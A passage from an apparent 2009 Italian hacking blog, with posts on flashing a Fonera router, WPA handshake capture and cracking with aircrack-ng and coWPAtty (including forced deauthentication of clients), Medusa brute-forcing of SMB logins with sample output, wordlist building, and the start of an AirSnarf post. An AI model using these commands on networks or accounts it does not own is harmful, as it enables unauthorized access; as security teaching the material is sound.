Flash Fonera con OPENWRT

9 maggio 2009

1 Prerequisiti

1. SSH client
* Per windows basta scaricare putty qui:

2. Telnet client
* Per windows va bene dinuovo putty

3. I files root.fs e vmlinux.bin.l7 dell’ultima release di dd-wrt x fonera
scaricabili qui :

[LINK]
[LINK]
(Tasto destro salva con nome)

4. Hfs webserver per windows, un web server per poter inviare i files alla fonera scaricabile qua:

5. Un tftp server per poter procedere con il flash del firmware.

Scarica

6.La pagina html per abilitare l’ssh ed i files out.hex e openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma per abilitare il RedBoot.

http://uselesshacks.com/wp-content/uploads/2007/03/sshenable.htm
(Tasto destro salva con nome e salvate la pagina)

http://fonera.info/camicia/openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma

http://fonera.info/camicia/out.hex

++Creiamo uan cartella e scarichiamoci dentro tutti i softwares e files necessari++

————-INIZIO PROCEDURA————-

1]Verifica versione firmware fonera

Per poter inserire il firmware dd-wrt è necessario abilitare l’ssh sulla fonera.

Le ultime fonere hanno una versione di firmware 0.7.1 r2 mentre quelle vecchie hanno una versione 0.7.1 r1 o inferiore.

Se la nostra fonera ha il firmware 0.7.1 r2 bisogna seguire la procedura di downgrade del firmware per poteer abilitare l’ssh.

Per poter verificare che versione di firmware ha la fonera che ci è appena arrivata seguite i seguenti passi:

In Windows, disabiliatate tutte le schede di rete tranne quella collegata alla FON. Disiabilitiamo tuti i firewall.
Colleghiamo con il cavo in dotazione rj45 la nostra fonera alla porta ethernet del nostro pc.

Settimamo la nostra scheda di rete del pc con questi valori :

IP: 169.254.255.2
Subnet: 255.255.0.0
Default Gateway: 169.254.255.1
DNS: 169.254.255.1

Accendiamo la fonera e aspettiamo che tutti e tre i leds lampeggino:

colleghiamoci alla pagina

http://169.254.255.1

Ci verrà chiesto l’utente e la password, inseriremo quelli di default

Username: root
Password: admin

A questo punto clikkiamo su status (router status) e verifichiamo la versione del firmware.

Configuration Summary:
Firmware version:

Se la versione del firmware è 0.7.1 r1 o più bassa saltiamo direttamente alla sezione dove spiego come abilitare l’ssh, se invece la versione del firmware è 0.7.1 r2 seguiamo la procedura di downgrade del firmware qui di seguito.

2]Downgrade firmware fonera

Per poter downgradare il firmware della fonera basta seguire la procedura di reset che magicamente ci porterà alla versione precedente permettendoci poi in seguito di abilitare l’ssh

+ Prendete uno stuzzicadente e con fonera accessa lo infilate nel retro nel buchino di reset.

+ Tenete premuto lo stuzzicandente per 30 secondi

+ Sempre tenendo premuto lo stuzzicadente togliete l’alimentazione alla fonera.

+ Sempre tenendo premuto lo stuzzicadente, rimettetete l’alimentazione
e aspettiamo finchè il led “W-LAN” appare e subito dopo sparisce.(Circa 2 3 minuti di continua pressione dello stuzzicandente).

+ Quando il led “W-LAN” appare e subito dopo sparisce, possiam lasciare lo stuzzicadente e aspettare altri 2-3 minuti finchè il led “W-LAN” riappaia.

+Fatto!! il nostro firmware è magicamente diventato versione 0.7.1 r1

+ Seguiamo la procedura per abilitare l’ssh

3] Abilitare l’ssh

Apriamo con il browser il file sshenable.htm che abbiamo salvato nella nostra cartella.

Clikkiamo su “submit”.

4]Abilitare il Redboot

Adesso avviamo HFS.
La prima volta che apriamo HFS, ci chiederà se vogliamo includere HFS nel vostro menù contestuale.Diciamo di “No”.
Adesso clicchiamo con il tasto destro sull’icona della piccola casetta, e selezioniamo “Add Files…”, e aggiungiamo i files scaricati precedentemente ovvero : “openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma” e il file “out.hex”.
Lasciamo attivo HFS.

Adesso apriamo Putty e selezionaldo il protoccollo SSH ci colleghiamo in ssh alla fonera inserendo l’ip “169.254.255.1″ clickkando “Open”.

Se ‘ la prima volta che ci colleghiamo alla fonera in ssh ci verrà chiesto di salvare la chiave ssh con un prompt. Noi diciamo “YES”.

Usiamo come login e password i seguenti:

Username: root
Password: admin

Premiamo enter

Una volta entrati nella fonera eseguiamo i seguenti command:

++Per abilitare l’ssh al boot++

mv /etc/init.d/dropbear /etc/init.d/S50dropbear

Scommentiamo (toglendo il cancelletto all’inizio) le due seguenti linee del file /etc/firewall.user

vi /etc/firewall.user

# iptables -t nat -A prerouting_rule -i $WAN -p tcp –dport 22 -j ACCEPT
# iptables -A input_rule -i $WAN -p tcp –dport 22 -j ACCEPT

iptables -t nat -A prerouting_rule -i $WAN -p tcp –dport 22 -j ACCEPT
iptables -A input_rule -i $WAN -p tcp –dport 22 -j ACCEPT

Disabilitiamo il client /bin/thinclient che comunica con il sito della fonera
.
Dobbiamo commentare nel file /bin/thinclient l’ultima riga e inserirne una nuova come qui di seguito.

#. /tmp/.thinclient.sh
cp /tmp/.thinclient.sh /tmp/thinclient-$(date ‘+%Y%m%d-%H%M’)

++Trasferiamo i files per il Redboot dall HFS alla fonera++

cd /tmp
wget http://169.254.255.2/openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma

++Aspettiamo che il trasferimento sia terminato++
++Lanciamo i seguenti comandi e aspettiamo che ci ritorni il prompt++

mtd -e vmlinux.bin.l7 write openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma vmlinux.bin.l7

reboot

Effettuato il reboot aspetteremo 2-3 minuti finche tutti e 3 i leds lampeggeranno.

Riapriamo putty per ricollegarci in ssh nella fonera:

Username: root
Password: admin

Eseguigiamo i seguenti comandi e aspettiamo che ci ritornino il prompt dei comandi.

cd /tmp
wget http://169.254.255.2/out.hex
mtd -e “RedBoot config” write out.hex “RedBoot config”
reboot

Congratuliazioni!!!!! Avete abilitato il RedBoot che permette di accedere al bootloader, adesso possiamo flashare la fonera con il DD-WRT.

Possiamo chiudere HFS.

5]Flasshing OPENWRT sulla fonera

Adesso potremo collegarci alla fonera via web:
http://192.168.1.1 con utente root e password admin.

Grazie al Team di www.wifi-ita.com

Author: admin Categories: Fonera Tags:

Corso di Memoria

21 aprile 2009

Scopriamo le nostre potenzialità!!!! mandatemi un feedback dei risultati ottenuti

Scaricate la guida gratuita al corso di memoria:

suoni-fonetici

La password per aprire la guida è: wte5423

Author: admin Categories: Senza categoria Tags:

WPA Cracking

21 aprile 2009


Affronteremo i diversi approcci al cracking WPA/WPA2 PSK in ordine, analizzando prima l’utilizzo della sola suite di tools Aircrack-ng, poi l’utilizzo di coWPAtty e infine un loro utilizzo combinato. La base comune di tutti questi tutorial è quella di possedere un handshake valido tra il client e l’AP.

Partiamo dalla catturta dell’handshake e alla sua verifica.
Come sempre settiamo l’interfaccia wireless che useremo in monitor mode sul canale dell’AP:

——————————–
airmon-ng start wifi0 11
——————————–
Dunque utilizziamo airodump-ng il lock mode sul canale dal quale trasmette l’AP e facendo modo che filtri solo suo traffico impostando un filtro MAC:
——————————–
airodump-ng –bssid 00:1c:10:90:86:7f –channel 11 -w handshake ath0
——————————–
A differenza del cracking del protocollo WEP, dove per effettuare con successo il cracking non era strettamente necessario individuare un client connesso via wirelss all’AP poichè anche il traffico generato da un client via cavo poteva essere utilizzato, nel cracking WPA dobbiamo per forza avere almeno un client connesso o comunque rimanere in ascolto con airodump-ng fino a che non se ne connette uno.
La necessità di avere un client connesso nasce dal fatto che il cracking WPA è sostanzialmente un brute-force su un pacchetto di autenticazione confrontando l’hash di questo con quello generato da noi, quindi gli unici pacchetti che dobbiamo ottenere sono quelli in fase di handshake tra AP e client senza preoccuparci del traffico in transito sull’AP.
Quando otterrete un handshake valido, Airodump-ng vi informerà della cattura facendo apparire nella sua finestra, in alto a destra, una scritta simile a questa “[ WPA handhsake: 00:1c:10:90:86:7f".
Se non si connette nessun client durante lo sniffing possiamo deautenticarne uno gia connesso cosi che si riconetta generando i 4 pacchetti che compongono l'handshake, usiamo Aireplay-ng per forzare la disconnessione del client vittima:

--------------------------------
aireplay-ng -0 10 -a 00:10:1c:90:86:7f -c 00:19:d2:3b:91:85 ath0
--------------------------------
Ottenuto l'handshake controlliamo che questo sia effettivamente valido con wireshark, quindi aprimo il file generato da airodump-ng con wireshark (Menu-->Backtrack-->Privilege Escalation-->Sniffers-->Wireshark) e controlliamo di aver catturato un handshake completo.

handshake-wireshark.jpg
----------------------------------------------------------------------
Per cercare più facilmente i pacchetti relativi all'handshake inserite nella casella filtro la parola "eapol". I pacchetti devono essere in tutto 4, 2 in partenza dall'AP verso il client, e 2 dal client all'AP. Dall'esempio potete vedere che i pacchetti compresi tra il 575 e il 578 rispecchiano le 4 fasi che compongono l'handhsake WPA, e in particolare:
575 --> l'AP inizia l'handshake; nell'etichetta "802.1X Authentication" vedrete una voce chiamata "Replay Counter" settata a 1
576 --> il client risponde al primo pacchetto inviatogli dall'AP, anche qui il replay counter è settato a 1
577 --> ancora è l'AP a iniziare la seconda fase dell'autenticazione, in questo caso il replay counter è settato a 2
578 --> il client a sua volta risponde, il replay counter è 2
In pratica abbiamo 2 coppie di invio/risposta tra AP e client con lo stesso "replay counter".
Cracking
Visto che si tratta di bruteforcing, partiamo dal recuperare una wordlist per il nostro scopo.
Per il tutorial inseriremo in una wordlist, scaricata dal box del blog, la chiave WPA della nostra rete, cosi da eseguire il tutorial senza troppi problemi; teniamo presente che una wordlist per essere "funzionante" non ha solo bisogno di essere grande, ma anche "adatta" allo scenario; per questo tutorial userò una wordlist molto corta per velocizzarne l'esecuzione di prova.
Dirigiamoci sul box del blog (in alto a destra) e scarichiamo da qui una wordlist, per i test ho utilizzato questa. Quindi scompattiamola con il comando:
-----------------
gunzip -d junk.gz
-----------------

e editiamola inserendo al suo interno la password della nostra rete in questo modo:
--------------------
cat >> junk << "end"
>-=m0r3l337k3y=-
>end
--------------------
ovviamente al posto di "-=m0r3l337k3y=-" dovete inserire quella che è la vostra password WPA, quindi stoppate cat inserendo la parola "end"(senza virgolette!).
[AIRCRACK-NG]
Ora iniziamo con il primo metodo di cracking utilizzando esclusivamente Aircrack-ng con la wordlist creata:
————————-
aircrack-ng -w junk -b 00:1c:10:90:86:7f handshake*.cap
————————-
aircrack-crack.jpg
———————————————————————-
-=Xploit=- ha fatto un video tutorial, il link è a questo post del forum di remote-exploit.org
[AIROLIB-NG]
Adesso andremo ad utilizzare un’altro metodo di cracking che sfrutta Airolib-ng per creare un database con al suo interno le password precomputate con l’ESSID della vostra rete, in questo modo Aircrack-ng velocizzerà il lavoro di cracking.
Prima di tutto specifico che per proseguire dovete avere installato SQLite3, se state usando BT3 non avete problemi, è installato di default. Per chi non avesse SQLite3 installato, può installarlo tramite il modulo creato da balding_parrot scaricabile da qui. Installato SQLite3 è necessario installare la versione di Aircrack-ng in fase di sviluppo, qui sul wiki di Aircrack-ng ci sono delle istruzioni dettagliate.
A questo punto passiamo a creare il nostro database con Airolib-ng:
————————-
airolib-ng wpaTestDB init
————————-

Con questo comando andremo a creare un database chiamato “wpaTestDB“. Ora creiamo la lista di ESSID con cui fare il salt delle password, per semplicità e velocità creiamo un file con all’interno solo il nome della nostra rete:
————–
nano essid.txt
————–

un volta aperto il file con nano (se non esiste il file quest’ultimo verrà creato in automatico) inseriamo al suo interno il nome della nostra rete, nel mio caso “trinacria“.
Quindi salviamo premendo “F2” e rispondiamo con “y” seguito dal tasto enter per salvare.
Adesso inseriamo la lista di ESSID presenti nel file appena creato nel database con il comando:
——————————-
airolib-ng wpaTestDB import ascii essid essid.txt
——————————
-
e subito dopo le password:
——————————-
airolib-ng wpaTestDB import ascii passwd junk
——————————
-
Ora procediamo con una pulizia del database in modo che vengano eliminate tutte le chiavi non valide rendendolo cosi più veloce e leggero:
——————————
airolib-ng wpaTestDB clean all
——————————

Adesso creiamo le PMK computando password con essid, tutto questo è fatto in automatico da Airolib-ng con il comando:
————————–
airolib-ng wpaTestDB batch
————————–
airolib-batch.jpg

il tempo impiegato dipende dalla quantità di password inserite e dal numero di essid (1 nel nostro caso) oltre che dal sistema in vostro possesso.
Se volessimo essere sicuri di essere riusciti a creare un database senza errori possiamo utilizzare l’opzione “verify“; in questo modo Airolib-ng effettua una verifica volta ad eliminare ogni PMK che riscontra non valida, il comando per eseguire la verifica:
——————————-
airolib-ng wpaTestDB verify all
——————————
-
se voleste controllare solo un numero random di chiavi non specificate l’opzione “all“.
Non ci resta che recuperare la chiave WPA con Aircrack-ng usando il database crerato da Airolib-ng al posto della sola wordlist:
——————————

aircrack-ng -r wpaTestDB handshake-01.cap
——————————
airolib-crack.jpg
———————————————————————-
Ancora una volta -=Xpoitz=- ha spiegato tutto producendo un’ottimo video, trovate il link leggendo questo post del forum di Remote-Exploit.org
[COWPATTY]
Non resta che provare con un’altro strumento a nostra disposizione, coWPAtty. In BT3 per lanciare coWPAtty 4.0, quello usato da theprez98 in questo post che si trova su Remote-Exploit.org, dovete andare nella cartella /pentest/wireless/cowpatty-4.0/ e lanciarlo da qua dentro con ./cowpatty.
Anche con coWPAtty possiamo utilizzare metodi diversi, incominciamo sviluppando l’hash della password in tempo reale durante il cracking:
———————–
./cowpatty -f junk -r handshake-01.cap -s “trinacria”
———————–
cowpatty-crack.jpg
oppure possiamo precalcolare l’hash con genpmk e poi utilizzarlo con coWPAtty:
—————–
genpmk -f junk -d hashGenpmk -s “trinacria”
—————–
cowpatty-genpmk.jpg

e quindi recuperare la password fornendo in input l’hash, l’hanshake e l’ESSID della rete:
——————
./cowpatty -d hashGenpmk -r handshake-01.cap -s “trinacria”
——————

cowpatty-genpmk-crack.jpg
———————————————————————-
Seguendo il post di shamanvirtuel ho scoperto che Airolib-ng ha tra le vari funzioni anche quella di esportare l’hash gia computato di un determinato ESSID con la nostra wordlist in un file che possa essere letto da coWPAtty, in questo modo abbiamo la possibilità di gestire un database di hash con Airolib-ng e utilizzare coWPAtty per recuperare la chiave; il comando per esportare solo gli hash di un determinato ESSID e password è:
——————–
airolib-ng wpaTestDB export cowpatty “trinacria” airoexport
——————–

come vedete specifichiamo il database su quale lavorare (wpaTestDB) l’ESSID da esportare (trinacria) e il nome del file che andremo a generare (airoexport). Adesso con coWPAtty possiamo recuperare la nostra chiave:
——————–
./cowpatty -d airoexport -s “trinacria” -r hanshake-o1.cap
——————–
[AGGIORNARE "wpaTestDB"]
Aggiornare il database con Airolib-ng è possibile, in questo modo potete aggiungere di volta in volta password o essid al vostro database senza perdere cio che avevate già computato prima.
Verifichiamo lo stato del nostro database:
————————–
airolib-ng wpaTestDB stats
————————–
airolib-stats.jpg
in questo modo avremo per output l’elenco degli ESSID inseriti (trinacria) e la percentuale di PMK generate con le password inserite (100.0). Ora aggiungiamo un nuovo ESSID al database, quindi cancelliamo il file essid.txt creato prima e creiamone un’altro con all’interno l’ESSID da aggiungere (possiamo aggiungerne anche più di uno alla volta):
——————-
airolib-ng wpaTestDB import ascii essid essid.txt
——————-
Adesso proviamo a verificare ancora lo stato del nostro database e guardiamo il risultato:
airolib-stats02.jpg
Come potete vedere l’ESSID è stato aggiunto (essidAGGIUNTO) ma ancora non è stato computata nessuna PMK con questo ESSID (0.0); appunto ora comptiamo le chiavi con l’opzione batch e verifichiamo lo stato del database:
airolib-stats03.jpg
Adesso il database è computato al 100%!!
Cosa utilizzare di ciò che ho scritto e in che circostanza penso si possa capire solo con la pratica, io non mi sono fatto un’idea generale. Per farsi un’idea migliore bisogna fare più prove e porgere attenzione alla tempistica di ogni passaggio, magari provando wordlist di dimensioni diverse, tanto sperimentare non fa mai male! :) :)
Per concludere vi ricordo che dovete sperimentare tutto quello che ho scritto su una rete di vostra proprietà, non intendo prendermi nessuna responsabilità dell’uso che farete di quanto descritto.
Fonte: Carlito Brigante Blog
Author: admin Categories: Backtrack Tags:

Medusa -login bruteforcer [+video]

21 aprile 2009

themedusa.jpg
***

Ciao a tutti,

eccoci arrivati a descrivere e a testare un altro tool , inserito in BackTrack nella sezione del “Privilege Escalation” , il tool di cui stiamo parlando , già dalla foto , è il Medusa

…ma cosa è Medusa?
Medusa è un login brute-forcer veloce, modulare, parallelo per servizi di
rete , creato da the geeks [Foofus.net].

Il nome Medusa , deriva proprio dall’obbiettivo principale dei creatori di questo tool , e cioè:

il supporto di quanti più servizi di rete possibili che richiedano l’autenticazione da remoto verso un unico host da attaccare.

I creatori di Medusa individuano 3 caratteristiche principali attribuibili al tool:

Può essere utilizzato contro più hosts, users o passwords contemporaneamnte;

  • -Flessibilità dell’input: le informazioni sull’obbiettivo possono essere fornite al

tool in vari modi e ogni attacco può essere diretto a una sola vittima
o a più vittime contemporaneamente;

  • design modulare: ogni modulo è presente come un file *.mod indipendente.

Ciò significa che non è necessaria alcuna modifica al “core” del tool per implementare
altre funzioni inizialmente non supportate da Medusa.

Passiamo ora all’uso più prettamente pratico del tool in questione:

Per visualizzare tutte le opzioni che Medusa supporta ci basta digitare
%medusa


l’output sarà:


bt ~ # medusa
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] : Target hostname or IP address
-H [FILE] : File containing target hostnames or IP addresses
-u [TEXT] : Username to test
-U [FILE] : File containing usernames to test
-p [TEXT] : Password to test
-P [FILE] : File containing passwords to test
-C [FILE] : File containing combo entries. See README for more information.
-O [FILE] : File to append log information to
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)
-M [TEXT] : Name of the module to execute (without the .mod extension)
-m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Param1 -m Param2, etc.)
-d : Dump all known modules
-n [NUM] : Use for non-default TCP port number
-s : Enable SSL
-g [NUM] : Give up after trying to connect for NUM seconds (default 3)
-r [NUM] : Sleep NUM seconds between retry attempts (default 3)
-R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
-t [NUM] : Total number of logins to be tested concurrently
-T [NUM] : Total number of hosts to be tested concurrently
-L : Parallelize logins using one username per thread. The default is to process
the entire username before proceeding.
-f : Stop scanning host after first valid username/password found.
-F : Stop audit after first valid username/password found on any host.
-b : Suppress startup banner
-q : Display module’s usage information
-v [NUM] : Verbose level [0 - 6 (more)]
-w [NUM] : Error debug level [0 - 10 (more)]
-V : Display version

Ora possiamo visualizzare tutti i moduli che sono già implementati all’ interno di Medusa con la
versione installata indicata a lato , diamo quindi da shell il seguente comando:

bt~# medusa -d

ed il nostro sistema ci elencherà i moduli disponibili…

bt ~ # medusa -d
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

Available modules in “.” :

Available modules in “/usr/local/lib/medusa/modules” :
+ cvs.mod : Brute force module for CVS sessions : version 1.0.0
+ ftp.mod : Brute force module for FTP/FTPS sessions : version 1.3.0
+ http.mod : Brute force module for HTTP : version 1.3.0
+ imap.mod : Brute force module for IMAP sessions : version 1.1.0
+ mssql.mod : Brute force module for M$-SQL sessions : version 1.1.1
+ mysql.mod : Brute force module for MySQL sessions : version 1.2
+ nntp.mod : Brute force module for NNTP sessions : version 0.9
+ pcanywhere.mod : Brute force module for PcAnywhere sessions : version 1.0.2
+ pop3.mod : Brute force module for POP3 sessions : version 1.1.1
+ postgres.mod : Brute force module for PostgreSQL sessions : version 1.0.0
+ rexec.mod : Brute force module for REXEC sessions : version 1.1.1
+ rlogin.mod : Brute force module for RLOGIN sessions : version 1.0.2
+ rsh.mod : Brute force module for RSH sessions : version 1.0.1
+ smbnt.mod : Brute force module for SMB/NTLMv1 sessions : version 1.3.1
+ smtp-auth.mod : Brute force module for SMTP Authentication with TLS : version 0.9.1
+ smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 0.9.1
+ snmp.mod : Brute force module for SNMP Community Strings : version 1.0.0
+ ssh.mod : Brute force module for SSH v2 sessions : version 1.0.2
+ svn.mod : Brute force module for Subversion sessions : version 1.0.0
+ telnet.mod : Brute force module for telnet sessions : version 1.2.1
+ vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 1.0.0
+ vnc.mod : Brute force module for VNC sessions : version 1.0.1
+ web-form.mod : Brute force module for web forms : version 0.9
+ wrapper.mod : Generic Wrapper Module : version 1.0.1

Per visualizzare le opzioni riguardanti ciascun modulo è sufficiente digitare:
medusa -M nomemodulo -q

esempio: medusa -M mysql -q (Il modulo utilizzato in questo esempio è mysql.mod)


L’output sarà il seguente:

bt ~ # medusa -M mysql -q
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

mysql.mod (1.2) JoMo-Kun <jmk@foofus.net> :: Brute force module for MySQL sessions

Available module options:
PASS:? (PASSWORD*, HASH)
PASSWORD: Use normal password.
HASH: Use a hash rather than a password. (non-SHA1 hashes only)

(*) Default value

Usage examples:

1: Normal boring check…
medusa -M mysql -h somehost -u someuser -p somepassword

2: Using an old-style MySQL hash…
medusa -M mysql -h somehost -U users.txt -p 39b52a209cf03d62 -m PASS:HASH

Andiamo avanti con il nostro tutorial per capire effettivamente come funziona
Medusa.

Eseguiamo un attacco:
i comandi che seguono servono a Medusa per testare tutte le password contenute nel
file che chiemrò “passwords.txt” contro un singolo user (administrator) sull’host 192.168.0.20 attraverso il protocollo SMB.
I comandi dati dovrebbero essere chiari mentre per l’ -e ns , che non è assolutamente
da tralasciare , serve un’ulteriore spiegazione. Questi infatti serve a per far eseguire al
tool un controllo supplementare , controllo che andrà a verificare che l’administrator abbia lasciato in bianco il campo “password” oppure nel caso in cui “password” e “username” siano gli stessi.

***

bt~# medusa -h 192.168.0.20 -u administrator -P passwords.txt -e ns -M smbnt

Medusa v1.0-rc1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: (1/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: administrator (2/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: password (3/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass1 (4/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass2 (5/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass3 (6/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass4 (7/7)

***

L’attacco è stato effettuauto.

La riga di comando in basso ci mostra la funzionalità di Medusa per quanto riguarda l’attacco
parallelo. Qui almeno 20 hosts e 10 users sono attaccati contemporaneamente. L’istruzione -L serve per far
controllare a Medusa un solo username di ogni host specificato.

medusa -H hosts.txt -U users.txt -P passwords.txt -T 20 -t 10 -L -F -M smbnt

Medusa è stata progettata per ricevere da input host/username/password, dati che possono essere usati in un file detto “combo” file , ovvero combinato.

Un file combo può essere specficato tramite l’opzione “-C“.
Il file deve avere i valori formattati per colonna in questo modo:
host:user:password
Se uno dei 3 valori viene lasciato vuoto, la rispettiva informazione deve essere fornita o attraverso una
valutazione globale o attraverso un’apposita lista contenuta in un altro file.
Medusa provvederà a un controllo dei parametri utilizzando la prima riga del file fornitogli.

Le combinazioni utilizzabili in un combo file sono le seguenti:

host:username:password
host:username:
host::
:username:password
:username:
::password
host::password

Quindi riportiamo di seguito il comando per un semplice attacco che controllerà ogni voce riportata
in un combo file:

medusa -M smbnt -C combo.txt

il file combo:
192.168.0.20:administrator:password
192.168.0.20:testuser:pass
192.168.0.30:administrator:blah
192.168.0.40:user1:foopass

Mentre l’esempio succesivo servirà per controllare ogni voce del file combo.txt contro gli obbiettivi
in lista nel file “hosts.txt“.

medusa -M smbnt -C combo.txt -H hosts.txt

il file combo.txt:
administrator:password
testuser:pass
administrator:blah
user1:foopass

Medusa inoltra supporta i files PwDump come combo file; la formattazione di questi file deve essere la
seguente:
user:id:lm:ntlm:::
Medusa cerca ::: alla fine della prima linea per determinare se il file contiene un output PwDump.

***

***

Parlando del Medusa , quì nel «back|track~blog , non è la prima volta che parliamo di Password-Attack , infatti prima di questo tool abbiamo trattato l’ Hydra , attualmente sempre in backtrack , ma visto che su Hydra di video in rete già se ne tovano , abbiamo realizzato un video usando come tool appunto Medusa… …per coloro che volessero vederne le differenze posso recarsi a quest’ indirizzo.

Dal video potete vedere benissimo che abbiamo realizzato due tipi di attacco con Medusa , entrambi diretti su di un unico host , determinato tramite IP , dove la prima volta per effettuare l’ attacco usufruisco di quattro files di testo , hosts.txt [opzione -H] , pass.txt [opzione -P] , user.txt [opzione -U] , e res.txt [opzione -O] , per ottenere il risultato in un file di testo.

Dal video , nel primo caso otteniamo il risultato dal valore immesso tra le parentesi da Medusa , [ad esempio (1/7)] , che ha successo con la prima stringa (1) immessa nel file ; nel secondo caso invece utilizzo un file combo , che contiene le stesse informazioni dei files precedenti , naturalmente inseriti come da spiegazione descritta sopra.

Entrambe riportano come password la stringa “brigante“.

Tutti i files sono contenuti nella directory “/” , in modo da non dover digitare da shell tutti i percorsi dove i files *.txt sono contenuti.

Fonte: Carlito Brigante Blog

Author: admin Categories: Backtrack Tags:

Wyd e raccolta wordlist

21 aprile 2009

bruteforce02.jpg

Questo tutorial riguarda l’ uso minimo di Wyd e le wordlist , il componimento e , aggiungo , anche la loro raccolta , quindi coloro che volessero contribuire mettendoci altre wordlist , ogni tot mesi le raccoglierò e farò un update del seguente tutorial.

Ma serve davvero un tutorial sulle wordlist?!?

Se vi state ponendo queste domande sappiate che la risposta è molto semplice: ho trovato che la gestione delle wordlist non era semplice come credevo e crearsene una non è una cosa che si fa in “un pò di tempo libero”. Personalmente, come ogni buon niubbo che si rispetti, incontro molte difficolta nella creazione e gestione delle wordlist; per questo motivo penso che altre persone incontrando le mie stesse difficoltà possano aver bisogno di una piccola guida che li aiuti.

[Usare wordlist esistenti]
Di wordlist se ne trovano a bizzeffe sulla rete, su Openwall.com, ad esempio, troviamo molte wordlist divise per lingua e magari anche per categoria. Personalmente ho scaricato le wordlist in cartelle separate dividendole per lingua e le ho unite in un unico file mettendole in ordine ed eliminando le parole ripetute:

————–
cat wordlist1.txt wordlist2.txt > allWord.txt
————–

in questo modo uniamo il contenuto di “wordlist1.txt” e “wordlist2.txt” nel file “allWord.txt”, quindi non ci resta che ordinarlo e “pulirlo” dai doppioni:

————–
cat allWord.txt | sort | uniq > allWordOrd.txt
————–

[Wyd - Generare wordlist da file]
Questo è il metodo più mirato, nel senso che andremo a creare noi la wordlist. Questo significa che se il target è un fanatico del “Signore Degli Anelli” andremo ad inserire all’interno della wordlist solo parole inerenti alla saga aumentando le nostre chance di successo.
Useremo Wyd presente in BT3 di default e sul sito di Remote-Exploit.org. Wyd prende in input un file o una cartella intera e ne estrapola le stringhe di caratteri che possono formare una parola. Prima di inziare vi dico subito che supporta svariati formati per i file di input:

* plain
* html
* php
* doc
* pdf
* mp3
* ppt
* jpeg
* odt / ods / odp

Notate che supporta la maggior parte dei formati che si incontrano navigando nel web, questo significa che se fate il mirroring di un sito sul vostro Hard Disk usando HTTrack o semplicemente wget avrete a disposizione tantissimi file dal quale estrapolare parole da inserire nella vostra lista. Facciamo un esempio (irreale visto che tratteremo wikipedia):

————-
cd ~
wget -r wikipedia.org

————-

lasciamo che wget copleti il download del sito, quindi usiamo wyd:

————-
cd /usr/local/wyd
./wyd.pl -o ~/wordlistWikipedia.txt ~/wikipedia.org/*

————-

Abbiamo creato nella nostra home il file “wordlistWikipedia.txt” che contiene tutto il contenuto dei file presenti dentro la cartella “~wikipedia.org” dentro la quale abbiamo una copia del sito scaricato. A questo punto possiamo benissimo pulire il file come descritto sopra al fine di eliminare i doppioni e ordinarne il contenuto.

[Gestire le wordlist]
Leggendo il forum di Remote-Exploit.org ho letto un post di shamanvirtuel che spiegava il suo metodo per recuperare spazio dalla gestione delle wordlist, ma più in generale questo metodo funziona per ogni tipo di file. Si tratta di comprimere la wordlist creandone un modulo lzm con dir2lzm.
In pratica si crea una cartella e si mette al suo interno la wordlist che vogliamo comprimere:

————–
mkdir wordlist
mv allWord.txt ./wordlist
————–

quindi si comprime la cartella:

————–
dir2lzm ./wordlist wordlistModule.lzm
————–

Abbiamo creato il modulo “wordlistModule.lzm” che possiamo scompattare velocemente nel momento del bisogno usando lzm2dir:

————–
lzm2dir wordlistModule.lzm
————–

Anche se il tempo di creazione del modulo può risultare molto lungo il vantaggio di risparmiare spazio utile sul proprio laptop è moto alto, in questo modo potete trasportare le vostre wordlist più velocemente da un pc ad un altro (io uso il fisso per creare wordlist perchè è più potente e quindi veloce, al momento del bisogno le passo sul notebook).

Proprio ieri -=Xploitz=- , sul forums.remote-exploit , ha postato due torrent , (reperibili quì…) , che contengono tutte le wordlist raccolte durante il tempo intercorso su altri due post , chi possiede le wordlist inserite nel box del nostro blog le cancelli visto che le ho postate lì la granparte , ma i torrent per coloro che desiderano una wordlist eccezionale sono indispensabili.

Quindi grazie a shamanvirtuel a pureh@te a -=Xploitz=- e a tutto il forums.remote-exploit

Ma torniamo a noi , i due torrent racchiudono quasi 4 GigaBytes di wordlist scompattate , mentre zippate sono circa 350 MegaBytes

Tutti coloro che da oggi hanno scaricato e controllato le wordlist proveniente dai due torrent appena linkti se trovano altre wordlist e vogliono aggiungerle possono farlo benissimo linkandoci l’ url in un commento o  contattandoci nella pagina /c0ntacts ci sono

Fonte: Carlito Brigante Blog

Author: admin Categories: Backtrack Tags:

21 aprile 2009

Configure AirSnarf on BackTrack

snarf.png

***

Ecco a voi un altro gioiellino di Defcon-69 , si tratta di un tutorial che spiega come configurare AirSnarf per la nostra BackTrack-3beta.

ancora una volta , grazie Def.

In questo breve tutorial spiegherò come configurare Airsnarf

Cos’è Airsnarf ?

Airsnarf è stato sviluppato e rilasciato per dimostrare la vulnerabilità intrinseca degli hot-spot.
